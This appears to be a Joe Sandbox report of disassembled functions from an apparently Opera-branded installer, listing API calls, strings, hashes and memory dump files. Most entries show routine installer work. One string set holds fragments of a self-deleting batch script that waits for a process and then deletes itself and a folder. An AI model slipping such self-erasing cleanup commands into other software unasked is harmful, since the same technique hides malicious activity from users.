                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CharNextTask$AllocFree
                                                                                                                                                                                                                • String ID: }}$HKCR$HKCU{Software{Classes
                                                                                                                                                                                                                • API String ID: 1038441216-1142484189
                                                                                                                                                                                                                • Opcode ID: 0ecce0b756a32f02467a0a73725691bcbcc4f5a810c5b65886da0289b8e3198e
                                                                                                                                                                                                                • Instruction ID: 2ad7150eab681bc76bc526ca3276f6db6ef12c62e56800f75c539226394da98a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0ecce0b756a32f02467a0a73725691bcbcc4f5a810c5b65886da0289b8e3198e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BDA19FB1A14301DFD7109F64C884A2AB7E8FF98310F548A2AF985D72D1E778DE44CB92
                                                                                                                                                                                                                Function 007041C0 Relevance: 28.3, APIs: 7, Strings: 9, Instructions: 284COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: HKCU$Registry value is not a dictionary$clean$data$name$path$type$values$wow6432
                                                                                                                                                                                                                • API String ID: 4218353326-3483028338
                                                                                                                                                                                                                • Opcode ID: a2549b77cb7c81f16de9ff3d0d0e03ace4da57724781c401ccdb2bc024ed6716
                                                                                                                                                                                                                • Instruction ID: 0b80de1ba2edbc40384f296db821c313c2296f9b03ac2653d9405e04528c0fc6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a2549b77cb7c81f16de9ff3d0d0e03ace4da57724781c401ccdb2bc024ed6716
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3BA179B1604340DBCB10DF54D88496EB7E9EFC5314F008A2DFA859B282DB79ED498B92
                                                                                                                                                                                                                Function 00709D20 Relevance: 25.0, APIs: 2, Strings: 12, Instructions: 485COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 007524E0: GetFileAttributesW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00752551
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?,?), ref: 0070A1C6
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 0070A1DB
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: Cannot create a folder to place the files in.$ does not exist.$ to $../../opera/desktop/windows/installer/transactions/unpack_archive_operation.cc$Archive unpacked successfully$Could not lzma unpack, error code: $Could not open the archive$Could not open the archive: $Could not unpack$Couldn't clear RO attribute of $The archive $Unpacking
                                                                                                                                                                                                                • API String ID: 3188754299-1406396360
                                                                                                                                                                                                                • Opcode ID: 89cb5020de97a448927655797a77bca55e89ec3ed10a2ca17722c0ec55f5e2de
                                                                                                                                                                                                                • Instruction ID: 539198cd81d6d141076e3aa62cd297487b80474296c3b2f467cee8ec0046d534
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 89cb5020de97a448927655797a77bca55e89ec3ed10a2ca17722c0ec55f5e2de
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CA12D570A00315EFEB14DF64CC49BAAFBB5BF54300F048199E94DA7392D774A944CB92
                                                                                                                                                                                                                Function 006F4C11 Relevance: 25.0, APIs: 1, Strings: 13, Instructions: 480COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32 ref: 006F4CC2
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CurrentProcess
                                                                                                                                                                                                                • String ID: " | FIND /c /i ".exe"$:again$IF %PID_RUNNING%==TRUE ($IF %PID_RUNNING%==TRUE GOTO :again$IF ERRORLEVEL 1 SET PID_RUNNING=FALSE$SET PID_RUNNING=TRUE$TASKLIST /FI "PID eq $del "$del %0 & rmdir "$k.bat$ping -n 2 127.0.0.1$>o$>o
                                                                                                                                                                                                                • API String ID: 2050909247-1333035498
                                                                                                                                                                                                                • Opcode ID: 0c4a1aae32aa839dea16f30d989315ed27a1828e72cee1452c82f0f91fd215d6
                                                                                                                                                                                                                • Instruction ID: 91cf02defaa4048674b057b7d96c67eff9dd35e05d2b12e21ed59d7f10ff5ade
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0c4a1aae32aa839dea16f30d989315ed27a1828e72cee1452c82f0f91fd215d6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3FF1F770704340AFD715FB24C899A7EBBA6EFC9710F04842CF54A9B392DB789949C792
                                                                                                                                                                                                                Function 006F1340 Relevance: 24.8, APIs: 3, Strings: 11, Instructions: 276COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00734730: _strlen.LIBCMT ref: 00734751
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006F140A
                                                                                                                                                                                                                  • Part of subcall function 007312A0: _strlen.LIBCMT ref: 007312D0
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006F146A
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006F1540
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: allusers$autoupdate$copyonly$installer$installfolder$internal-version$post-elevated-install-tasks$run-assistant$stream$uninstall$version
                                                                                                                                                                                                                • API String ID: 4218353326-966510985
                                                                                                                                                                                                                • Opcode ID: 426a66fed3d5aaa3dcef2bf00f179f448436003ba8df0d64a74a613ca88d5b02
                                                                                                                                                                                                                • Instruction ID: 24fd3ee1630a0c1565cb2d98cb1a0c71797476765e41b7a5508fd4d4421bb2a9
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 426a66fed3d5aaa3dcef2bf00f179f448436003ba8df0d64a74a613ca88d5b02
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 649126B0610744DBDB24AF70988697777E6FF86340B04842DE987CBB82EB75B908C751
                                                                                                                                                                                                                Function 0070ADD0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 215COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0070AC60: InitializeCriticalSectionEx.KERNEL32(-0000000C,00000000,00000000,00000000,?,0070A9BB,?,0070A76B,?), ref: 0070AC69
                                                                                                                                                                                                                  • Part of subcall function 0070AC60: GetLastError.KERNEL32(?,0070A9BB,?,0070A76B,?), ref: 0070AC73
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070AEBE
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?), ref: 0070AED4
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(006F0000,?,00000104), ref: 0070AF1E
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000), ref: 0070AFAB
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070AFBA
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070B05B
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,Module,?), ref: 0070B073
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070B081
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,Module_Raw,?), ref: 0070B0A0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalSection$Enter$Leave$Module$ErrorFileHandleInitializeLastName
                                                                                                                                                                                                                • String ID: "$MZx$Module$Module_Raw$REGISTRY
                                                                                                                                                                                                                • API String ID: 2998937331-1297953865
                                                                                                                                                                                                                • Opcode ID: 3493976b8ec226373f2fb1e88636c8e52005b0d62227954397e8f4c91661423f
                                                                                                                                                                                                                • Instruction ID: 5e01b64fb877fbdbd83f4975ab93ca34d4700c4b60a203fe9b1168559e6257ae
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3493976b8ec226373f2fb1e88636c8e52005b0d62227954397e8f4c91661423f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 317107B2A04301FBD320DB20CC46A6BB3E8FF94304F144618F9459B281EB7DEA458797
                                                                                                                                                                                                                Function 00751610 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 282fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(0077D42A,?,?,00000000,?,?,?,00000000), ref: 007517D9
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(0077D42A,00000000,?,?,?,00000000), ref: 00751800
                                                                                                                                                                                                                • DeleteFileW.KERNEL32(0077D42A,?,?,?,00000000), ref: 0075181A
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(0077D42A), ref: 00751875
                                                                                                                                                                                                                  • Part of subcall function 00753870: SetFileAttributesW.KERNEL32(FFFFFFFF,?,?,?,?,?,?,?,?), ref: 0075398A
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,00000000), ref: 00751884
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(0077D42A,?,00000000,?,?,?,00000000), ref: 007518B9
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,00000000), ref: 007518E7
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$Attributes$ErrorLast$DeleteDirectoryRemove
                                                                                                                                                                                                                • String ID: *$../../base/files/file_util_win.cc$DeleteFile.NonRecursive$DeleteFile.Recursive$DeleteFileAndRecordMetrics$DoDeleteFile
                                                                                                                                                                                                                • API String ID: 1056033459-924194139
                                                                                                                                                                                                                • Opcode ID: 0a5d268581927b143bd9ba73418dc1a609ae594332fa9dccebf9637f27dd3a47
                                                                                                                                                                                                                • Instruction ID: 9c5feafc5f5edfe4d2399390c1b8b1089a1dbafb50fb543cb4930c2299f55161
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0a5d268581927b143bd9ba73418dc1a609ae594332fa9dccebf9637f27dd3a47
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 76B1E5716047809BD7249F28C8497AFB7D1BF85325F144A1DF8E5863D1DBB8A948CB42
                                                                                                                                                                                                                Function 0070ADE0 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 221COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0070AC60: InitializeCriticalSectionEx.KERNEL32(-0000000C,00000000,00000000,00000000,?,0070A9BB,?,0070A76B,?), ref: 0070AC69
                                                                                                                                                                                                                  • Part of subcall function 0070AC60: GetLastError.KERNEL32(?,0070A9BB,?,0070A76B,?), ref: 0070AC73
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070D12C
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?), ref: 0070D142
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(006F0000,?,00000104), ref: 0070D188
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000), ref: 0070D230
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070D23F
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070D2E0
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,Module,?), ref: 0070D2F8
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0070D306
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,Module_Raw,?), ref: 0070D325
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalSection$Enter$Leave$Module$ErrorFileHandleInitializeLastName
                                                                                                                                                                                                                • String ID: "$Module$Module_Raw$REGISTRY
                                                                                                                                                                                                                • API String ID: 2998937331-3881418485
                                                                                                                                                                                                                • Opcode ID: b632c2b2208e9098e2a612ad0dfbbdb336a1e15861d0de5882712ba2c103b926
                                                                                                                                                                                                                • Instruction ID: ef6308f349e189b37a9dbdf4bc1a839fc28acde60bbe40d3aa66ca27a7632a5f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b632c2b2208e9098e2a612ad0dfbbdb336a1e15861d0de5882712ba2c103b926
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A7711571A04305EBD330ABA0DC45BABB3E9BF85314F194628F9459B281EB7DDD058792
                                                                                                                                                                                                                Function 00717A56 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 113COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: SC_DEST_COMMON_DESKTOP$SC_DEST_COMMON_MENU$SC_DEST_COMMON_PROMOTED$SC_DEST_DESKTOP$SC_DEST_MENU$SC_DEST_PROMOTED$shortcuts$uq
                                                                                                                                                                                                                • API String ID: 4218353326-644560332
                                                                                                                                                                                                                • Opcode ID: 803f93dd7a7f1216ea24ef5e7a379017512e7921564af638f18691e2505f1cd7
                                                                                                                                                                                                                • Instruction ID: 5644d532028f4c2ffffea209925aa82b0aeb500c4d028925c8d131ecb8595058
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 803f93dd7a7f1216ea24ef5e7a379017512e7921564af638f18691e2505f1cd7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B331A0B0A042649BEF14DE689885BBF7BB8EF45354F0444A4ED44DB247E729DE08C7A2
                                                                                                                                                                                                                Function 007565B0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 98synchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(5D5B5F5E,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007565CE
                                                                                                                                                                                                                • TerminateProcess.KERNEL32(33B6CE54,^_[],5D5B5F5E,?), ref: 007565DA
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 007565F0
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700FA3,00000000), ref: 007565F8
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700FA3,00000000), ref: 00756604
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,0000EA60,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00756614
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00756632
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,0000EA60), ref: 00756642
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 0075664E
                                                                                                                                                                                                                • GetExitCodeProcess.KERNEL32(00000000,FFFFFFFF), ref: 0075667D
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00756690
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Process$Current$ObjectSingleWait$CodeErrorExitLastTerminate
                                                                                                                                                                                                                • String ID: ^_[]
                                                                                                                                                                                                                • API String ID: 2432511979-568551382
                                                                                                                                                                                                                • Opcode ID: 56a03e96ada3896e5385de56ae2ae78bc669b781566fa60e97cbd47872308a20
                                                                                                                                                                                                                • Instruction ID: 1b0a0bd092e546ec70d15c6c9aa7f0232157d4a55c43e2c75e1597edcf06174d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 56a03e96ada3896e5385de56ae2ae78bc669b781566fa60e97cbd47872308a20
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AD31B8706002449FE724AB74DD0C7EA7BB8FF41316F98441DED8697590CBB8AC88CB92
                                                                                                                                                                                                                Function 0078B360 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 260COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(008A50D8,?,00000008,008A50F4,?,0078C05F,00000010,?,?), ref: 0078B399
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(008A50D8), ref: 0078B59D
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(008A50D8,?,?,00000008,008A50F4,?,0078C05F,00000010,?,?), ref: 0078B5FC
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 0078B6A9
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 0078B6CD
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • MonitorNextJankWindowIfNecessary, xrefs: 0078B661
                                                                                                                                                                                                                • ../../base/threading/scoped_blocking_call_internal.cc, xrefs: 0078B65C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$Release$AcquireInit_thread_footerInit_thread_header
                                                                                                                                                                                                                • String ID: ../../base/threading/scoped_blocking_call_internal.cc$MonitorNextJankWindowIfNecessary
                                                                                                                                                                                                                • API String ID: 1756964227-4084575106
